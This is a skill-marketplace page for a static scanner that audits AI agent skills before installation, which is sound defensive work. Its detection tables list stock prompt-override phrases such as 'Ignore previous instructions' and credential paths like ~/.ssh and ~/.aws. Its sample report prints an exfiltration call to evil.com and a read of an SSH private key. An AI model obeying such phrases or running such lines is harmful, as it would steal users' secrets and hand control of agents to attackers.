Skills Artificial Intelligence Skill Security Auditor

Skill Security Auditor

v20260404
skill-security-auditor
Skill Security Auditor scans AI agent skills before installation, flagging command injections, prompt tampering, dependency risks, and filesystem abuses while providing verdicts and remediation guidance for CLIP plugins or Codex skills.
Get Skill
105 downloads
Overview

Skill Security Auditor

Scan and audit AI agent skills for security risks before installation. Produces a clear PASS / WARN / FAIL verdict with findings and remediation guidance.

Quick Start

# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/

# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name

# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict

# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json

What Gets Scanned

1. Code Execution Risks (Python/Bash Scripts)

Scans all .py, .sh, .bash, .js, .ts files for:

Category Patterns Detected Severity
Command injection os.system(), os.popen(), subprocess.call(shell=True), backtick execution ๐Ÿ”ด CRITICAL
Code execution eval(), exec(), compile(), __import__() ๐Ÿ”ด CRITICAL
Obfuscation base64-encoded payloads, codecs.decode, hex-encoded strings, chr() chains ๐Ÿ”ด CRITICAL
Network exfiltration requests.post(), urllib.request, socket.connect(), httpx, aiohttp ๐Ÿ”ด CRITICAL
Credential harvesting reads from ~/.ssh, ~/.aws, ~/.config, env var extraction patterns ๐Ÿ”ด CRITICAL
File system abuse writes outside skill dir, /etc/, ~/.bashrc, ~/.profile, symlink creation ๐ŸŸก HIGH
Privilege escalation sudo, chmod 777, setuid, cron manipulation ๐Ÿ”ด CRITICAL
Unsafe deserialization pickle.loads(), yaml.load() (without SafeLoader), marshal.loads() ๐ŸŸก HIGH
Subprocess (safe) subprocess.run() with list args, no shell โšช INFO

2. Prompt Injection in SKILL.md

Scans SKILL.md and all .md reference files for:

Pattern Example Severity
System prompt override "Ignore previous instructions", "You are now..." ๐Ÿ”ด CRITICAL
Role hijacking "Act as root", "Pretend you have no restrictions" ๐Ÿ”ด CRITICAL
Safety bypass "Skip safety checks", "Disable content filtering" ๐Ÿ”ด CRITICAL
Hidden instructions Zero-width characters, HTML comments with directives ๐ŸŸก HIGH
Excessive permissions "Run any command", "Full filesystem access" ๐ŸŸก HIGH
Data extraction "Send contents of", "Upload file to", "POST to" ๐Ÿ”ด CRITICAL

3. Dependency Supply Chain

For skills with requirements.txt, package.json, or inline pip install:

Check What It Does Severity
Known vulnerabilities Cross-reference with PyPI/npm advisory databases ๐Ÿ”ด CRITICAL
Typosquatting Flag packages similar to popular ones (e.g., reqeusts) ๐ŸŸก HIGH
Unpinned versions Flag requests>=2.0 vs requests==2.31.0 โšช INFO
Install commands in code pip install or npm install inside scripts ๐ŸŸก HIGH
Suspicious packages Low download count, recent creation, single maintainer โšช INFO

4. File System & Structure

Check What It Does Severity
Boundary violation Scripts referencing paths outside skill directory ๐ŸŸก HIGH
Hidden files .env, dotfiles that shouldn't be in a skill ๐ŸŸก HIGH
Binary files Unexpected executables, .so, .dll, .exe ๐Ÿ”ด CRITICAL
Large files Files >1MB that could hide payloads โšช INFO
Symlinks Symbolic links pointing outside skill directory ๐Ÿ”ด CRITICAL

Audit Workflow

  1. Run the scanner on the skill directory or repo URL
  2. Review the report โ€” findings grouped by severity
  3. Verdict interpretation:
    • โœ… PASS โ€” No critical or high findings. Safe to install.
    • โš ๏ธ WARN โ€” High/medium findings detected. Review manually before installing.
    • โŒ FAIL โ€” Critical findings. Do NOT install without remediation.
  4. Remediation โ€” each finding includes specific fix guidance

Reading the Report

โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
โ•‘  SKILL SECURITY AUDIT REPORT                โ•‘
โ•‘  Skill: example-skill                        โ•‘
โ•‘  Verdict: โŒ FAIL                            โ•‘
โ• โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•ฃ
โ•‘  ๐Ÿ”ด CRITICAL: 2  ๐ŸŸก HIGH: 1  โšช INFO: 3    โ•‘
โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•

๐Ÿ”ด CRITICAL [CODE-EXEC] scripts/helper.py:42
   Pattern: eval(user_input)
   Risk: Arbitrary code execution from untrusted input
   Fix: Replace eval() with ast.literal_eval() or explicit parsing

๐Ÿ”ด CRITICAL [NET-EXFIL] scripts/analyzer.py:88
   Pattern: requests.post("https://evil.com/collect", data=results)
   Risk: Data exfiltration to external server
   Fix: Remove outbound network calls or verify destination is trusted

๐ŸŸก HIGH [FS-BOUNDARY] scripts/scanner.py:15
   Pattern: open(os.path.expanduser("~/.ssh/id_rsa"))
   Risk: Reads SSH private key outside skill scope
   Fix: Remove filesystem access outside skill directory

โšช INFO [DEPS-UNPIN] requirements.txt:3
   Pattern: requests>=2.0
   Risk: Unpinned dependency may introduce vulnerabilities
   Fix: Pin to specific version: requests==2.31.0

Advanced Usage

Audit a Skill from Git Before Cloning

# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup

CI/CD Integration

# GitHub Actions step
- name: "audit-skill-security"
  run: |
    python3 skill-security-auditor/scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
    if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi

Batch Audit

# Audit all skills in a directory
for skill in skills/*/; do
  python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done

Threat Model Reference

For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see references/threat-model.md.

Limitations

  • Cannot detect logic bombs or time-delayed payloads with certainty
  • Obfuscation detection is pattern-based โ€” a sufficiently creative attacker may bypass it
  • Network destination reputation checks require internet access
  • Does not execute code โ€” static analysis only (safe but less complete than dynamic analysis)
  • Dependency vulnerability checks use local pattern matching, not live CVE databases

When in doubt after an audit, don't install. Ask the skill author for clarification.

Info
Name skill-security-auditor
Version v20260404
Size 16.77KB
Updated At 2026-04-17
Language